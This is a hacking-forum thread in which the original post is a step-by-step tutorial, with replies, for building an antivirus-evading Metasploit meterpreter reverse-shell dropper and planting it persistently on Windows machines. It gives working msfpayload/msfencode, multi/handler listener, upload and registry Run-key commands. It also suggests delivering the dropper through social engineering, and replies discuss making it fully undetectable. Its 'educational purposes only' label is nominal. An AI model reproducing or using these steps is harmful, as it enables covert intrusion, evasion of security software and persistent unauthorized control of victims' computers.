

Forum:[Hack Forums](#)

Thread: [\[TuT\]?Avoid Antivirus? and install a ?Persistent Backdoor? With Metasploit\[TuT\]](#)

XYLA - April 14, 2012, 8:44 am

Hi HF

This is for educational purposes only

Today i show you how to create a trojan/dropper for metasploit and how to backdoor Windows with it.

Here is the method I present to you but I am not the author of this video:

<http://www.securitytube.net/video/3745>

Operating systems used

Backtrack 5 R2 = Attacker(192.168.1.97)
Windows XP sp3

Operating systems vulnerable

Windows 7 and Xp Any Versions = Slave (192.168.1.7)

Software requirements

Dev-C ++ Version 4.9.9.2 (in XP)
The Source Code of the video.

1 - Create the file ascii.bin

Launch this command in a console on Backtrack :

Code `msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.97 LPORT=4444 R|msfencode -e x86/shikata_ga_nai -t raw -a x86 -b '\x00\x0a\x0d' -c 1 X> /root/Desktop/ascii.bin`
And copy the ascii.bin in /var/www

Code `Pixo@Backtrack 5 R2# cp /root/Desktop/ascii.bin /var/www`

2-Create the trojan/dropper

In Win XP open Dev-C ++ and click on file => new => project

Spoiler [\(Click to View\)](#)[IMG]

Select empty project and name it

Spoiler [\(Click to View\)](#)[IMG]

Then create a new source file

Spoiler [\(Click to View\)](#)[IMG]

Click on file => save as, and name it

Spoiler [\(Click to View\)](#)[IMG]

Go to

Code <http://www.el-palomo.com/wp-content/uploads/2012/03/codigoC.txt>

Copy and Paste the Code

Spoiler [\(Click to View\)](#)

Now replace the ip address with backtrack ip address

Spoiler [\(Click to View\)](#)

Open the options of project

Spoiler [\(Click to View\)](#)

Add a link for wininet with the -lwininet command

Spoiler [\(Click to View\)](#)

For the console is not visible this option is added

Spoiler [\(Click to View\)](#)

Here you can compil your Trojan/Dropper

Spoiler [\(Click to View\)](#)

3-Get a Meterpreter

Start the listener with this command

Code msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=4444
LHOST=192.168.1.97 Autorunscript='migrate -n explorer.exe' E

Spoiler [\(Click to View\)](#)

You can use all of method you want to get a meterpreter.

You can social and send your dropper.

Spoiler [\(Click to View\)](#)

-For add a icon for your dropper you can use the method used in [this thread](#)

You can exploit a vulnerability.

4-Create the persistent backdoor ?

(I know the script persistence.rb there, but I wanted to do a backdoor persistent and undetectable as possible by the antivirus)

If you use the method for add an icon you can add %windir%\system32 in the extract dir.

If you not you can use the meterpreter for upload your dropper with this command:

Code meterpreter> upload /root/exec.exe C:\\Windows\\system32\\

Add an entry in the register for launch your dropper at windows start

Code meterpreter> reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v exec -d
"c:\\windows\\system32\\exec.exe"

Check the register

Code meterpreter>reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

During the reboot restart your listener

Code msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=4444
LHOST=192.168.1.97 Autorunscript='migrate -n explorer.exe' E

You may find your Meterpreter restarts automatically soon as a session is opened.

Conclusion

? From here you are the master on board.?

I hope you enjoy it and I'm always looking for a way to inject shellcode into an image and if possible make it undetectable.

You will find links who talk about it on my other TuT [all methods of evasion antivirus with metasploit](#)

Analysis :

ascii.bin :

<https://www.virustotal.com/file/3a2976ffaa107eb0f54dd78655ab67504861c2c93e39d9fd768b47c0ba9aff8c/analysis/1334400026/>

exec.exe :

<https://www.virustotal.com/file/da1ba033536a265cd72320d35da8908d617a17e63a8ae0d6f66bd5c99ccb7795/analysis/1334409609/>

?My Other TuT's?:

[\[TuT\]?Avoid Antivirus? and install a ?Persistent Backdoor? With Metasploit\[TuT\]](#)

[all methods of evasion antivirus with metasploit](#)

[\[TuT\] ?EvilGrade? or how to falsify WinUpdates and deliver your ?Meterpreter? . \[TuT\]](#)

x0rk - April 14, 2012, 10:34 am

Nice tutorial, as i can see are you french ?

XYLA - April 14, 2012, 12:37 pm

Thank you for the return.

Yes I'm French.

You too?

?My Other TuT's?:

[\[TuT\]?Avoid Antivirus? and install a ?Persistent Backdoor? With Metasploit\[TuT\]](#)

[all methods of evasion antivirus with metasploit](#)

[\[TuT\] ?EvilGrade? or how to falsify WinUpdates and deliver your ?Meterpreter? . \[TuT\]](#)

Ferragamo - April 14, 2012, 12:39 pm

Good Bye Google. Learning new things everyday

/Ninja - April 14, 2012, 8:00 pm

Well this is very nice i will start giving this a try right now. Just finished installing my new version of BT. I can practice on some local machines here lol

SleazeBeez - April 14, 2012, 8:04 pm

This sound really clever! Thanks for sharing!

Pull - April 14, 2012, 8:33 pm

Dude nice tutorial but can you change the font to something less annoying >.<

buttErz - April 16, 2012, 9:33 am

thanks Pixo, I been looking for ways to slip by anti-x w/o a FUD crypter... testing for myself now, appreciate it!

edit: lol meant to post this on your other tut ha

XYLA - April 22, 2012, 9:32 pm

Thanks.

?My Other TuT's?:

[\[TuT\]?Avoid Antivirus? and install a ?Persistent Backdoor? With Metasploit\[TuT\]](#)

[all methods of evasion antivirus with metasploit](#)

[\[TuT\] ?EvilGrade? or how to falsify WinUpdates and deliver your ?Meterpreter? . \[TuT\]](#)

ting - May 2, 2012, 12:39 am

Great thing...

Thanks for your tutorial..

Good Luck..

XYLA - May 6, 2012, 12:04 am

For this thread too, i make a video :

<https://hackforums.net/showthread.php?tid=2468812>

PoRt21 - May 7, 2012, 12:47 am

wow gd share mate

very HQ

thank you for share keep it up,,

prtablegm - May 8, 2012, 7:59 pm

Pixo,just keeping this where it is needed.

Portablegamemaster

XYLA - July 19, 2012, 12:47 pm

I like your concern !

??? ?

Ametz - July 19, 2012, 8:15 pm

Bookmarked. I will try this in the future.

9111 - July 19, 2012, 8:37 pm

i will try hopfully it works ill keep you posted

Conch - July 20, 2012, 1:43 pm

Why did you personally upload the "FUD" exploit to VirusTotal?

That defeats the whole purpose of having something undetectable in the first place.

ReaVenSeVen7 - July 20, 2012, 7:19 pm

Thanks for the tutorial .

Will giving a try on local .

Regards from 01

XYLA - July 21, 2012, 2:28 am

@conch

hi,

I did not say that it is fully undetectable.
to make it fully undetectable it would mean that no antivirus detects the file.
this is why I put the result of VirusTotal
this is a way to avoid many antivirus but the payload is not encrypted and unmodified so it can eventually make it undetectable
Quote:That defeats the whole purpose of having something undetectable in the first place.
if your goal is to have something undetectable in the first place you can always encrypt your payload

Kipp0 - July 21, 2012, 3:49 am

(Jul 21, 2012 02:28 AM)Pixo Wrote: [\[CITE\]](#) if your goal is to have something undetectable in the first place you can always encrypt your payload
Yup, and thanks for the tutorial - it's interesting & useful.
Saving the page in my archives in the 'Good Tutorials' folder :)

Edit: I'd rep you if I could, but alas I can't

Conch - July 21, 2012, 12:20 pm

(Jul 21, 2012 02:28 AM)Pixo Wrote: [\[CITE\]](#) @conch

hi,

I did not say that it is fully undetectable.
to make it fully undetectable it would mean that no antivirus detects the file.
this is why I put the result of VirusTotal
this is a way to avoid many antivirus but the payload is not encrypted and unmodified so it can eventually make it undetectable
if your goal is to have something undetectable in the first place you can always encrypt your payload
Ah right, Thanks for explaining :) I love all your tutorials in the pentesting section. Really informative :) +3

XYLA - July 22, 2012, 3:22 am

@Kipp0

Quote:Yup, and thanks for the tutorial - it's interesting & useful.
Saving the page in my archives in the 'Good Tutorials' folder :)

Edit: I'd rep you if I could, but alas I can't

Thank you very much ?

@Conch

Quote:Ah right, Thanks for explaining :) I love all your tutorials in the pentesting section. Really informative :) +3

Thank you for the rep ?

claim - July 25, 2012, 5:41 am

Looks like a lot of fun, great tutorial dude!
Also, I fuckin love the french language :D

NetFree - July 27, 2012, 8:28 am

Great thing...
Thanks for your tutorial..

Good Luck..

deeedooo - July 28, 2012, 3:19 pm
nice tutorial man, keep up the good work

XYLA - August 10, 2012, 3:14 pm
thanks ???????

raj2lovely - August 21, 2012, 12:41 pm
It's really nice step-by-step guide... Please, keep it up. Thanks.

XYLA - September 8, 2012, 3:41 pm
???????

id7r - December 8, 2012, 7:28 pm
Dude nice tutorial but can you change the font to something less annoying >.<

?Dante - December 9, 2012, 9:50 pm
You might need to change the FONT from Imact to Tahoma or Times New Roman. Otherwise, this is a good tutorial.

Rangars23 - December 19, 2012, 1:31 pm
Is this method still FUD? any update?

Mindfix - December 24, 2012, 4:08 am
Well this is very nice i will start giving this a try right now. Just finished installing my new version of BT. I can practice on some local machines here lol

Light Yagami. - December 24, 2012, 7:08 am
Nice tut my friend this well help me a lot

PongViking - January 2, 2013, 11:50 am
Great thing...
Thanks for your tutorial..

Good Luck..

MonsterYzBR - January 2, 2013, 1:31 pm
Awesome thread and tut! <3
Thanks in advance! You are amazing!
-Monster

Yaanst - January 2, 2013, 4:16 pm
Very good tuto, thanks for the share!
Et mieux encore car écrit par un français! ou du moins francophone. xD

ignore07 - January 3, 2013, 4:12 pm
Thanks for tutorial , i learning new things . Ty

XYLA - January 3, 2013, 10:21 pm

@ LEGITimacy™ : I know that, and there is an undetectable payload [here](#) but not compatible with xp

Van1la - January 4, 2013, 5:18 am

Thank You,
Look Like A Very Nice Tutorial

Haseo™ - January 5, 2013, 7:18 pm

This tut was nicely put. well done. quite a nice way to avoid that pesky antivirus and exploit the machine. meterpreter and metasploit are the wizards orb and staff to allow magic to happen =D

XYLA - April 1, 2013, 10:31 pm

? ? yes it is ? ?

Lane_Stalker - April 2, 2013, 12:55 am

i love your tutorials man!
it's something new everytime :)
you're a real 1337

_Silky - April 2, 2013, 4:18 am

You need to lighten up on the font lol.

anonymousninja - April 3, 2013, 11:01 am

This sound really clever! Thanks!!!

imakehitz - April 4, 2013, 12:51 am

Big Thanks n0bul4r best Tut i ever saw ..

leen12 - April 4, 2013, 12:05 pm

have you got a tutorial as to how to prevent getting infected with this?

ARGOS-SOFT - April 4, 2013, 2:48 pm

Thanks for the share, seems really awesome :)

Energion - April 7, 2013, 11:29 pm

nice tuts bro
helped me a lot :D

Spoiler ([Click to View](#))

:blackhat

cPanel - April 8, 2013, 4:32 am

Wow Thanks for the tutorial ?

mindhacker0x - April 8, 2013, 12:15 pm

Thank you very much for this nice software. You're professional. Keep it up.

S0L1DD3ATHBlaze - June 7, 2019, 11:56 pm

Very nice, Thanks man, Amazing TUT.

PANDASEC2015 - June 28, 2019, 3:15 pm

please upload again images because is deleted?

